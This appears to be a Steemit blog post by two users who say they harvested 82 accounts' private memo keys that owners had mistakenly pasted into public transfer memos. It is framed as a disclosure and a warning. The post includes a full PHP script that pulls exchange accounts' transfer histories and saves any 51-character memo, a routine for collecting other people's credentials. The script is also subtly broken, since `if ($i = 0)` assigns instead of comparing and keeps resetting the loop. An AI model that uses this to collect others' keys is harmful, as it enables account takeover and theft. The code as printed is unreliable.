We Just Hacked 82 Steemit Account With An Estimated of ~$95,368 USD in control, but we are good guys...

Me @davidk and my friend @ralphhovsepian got access to 82 steemit account private memo keys while trying some of our scripts.

Notice:
-we did not hack the steemit blockchain
-we did not steal any money
-we did not use any social engineering

This bug is not very popular although many people are talking about it. It is when you transfer steem and steem dollar and put your private memo key or your password in the memo box which is public.

Here is how we did it

-we used the new SteemPHP which is located at (https://github.com/davidkevork/steemphp)

< ?php   <-- remove the space
include './vendor/autoload.php';
use SteemPHP\SteemConnection;
$SteemConnection = new SteemConnection('https://steemd.steemit.com');
$account = 'bittrex';
for ($i=0; $i < 86; $i++) {
    $collect = [];
    if ($i = 0) { $l = -1; } else { $l = $i * 1000; }
    $data = $SteemConnection->getAccountHistory($account, 1000, $l);
    foreach ($data as $key => $value) {
        if ($value[1]['op'][0] == 'transfer') {
            if (strlen($value[1]['op'][1]['memo']) == 51) {
                $collect[] = $value[1]['op'][1]['from'].':'.$value[1]['op'][1]['to'].':'.$value[1]['op'][1]['memo'];
            }
        }
    }
    file_put_contents($account.'_'.$i, serialize($collect));
}
?>

we analysed the entire trading history of bittrex, poloniex and blocktrades which in total is over 50,000 transfer and got access to 82 active private memo keys.

while we found passwords and more private memo keys, the account owner has changed them.
here is the list of the accounts with their private memo keys.

It is advised that everyone in the list to be aware next time and warn their friend and also change your passwords if possible and make sure your account is no more accessible with the memo key above.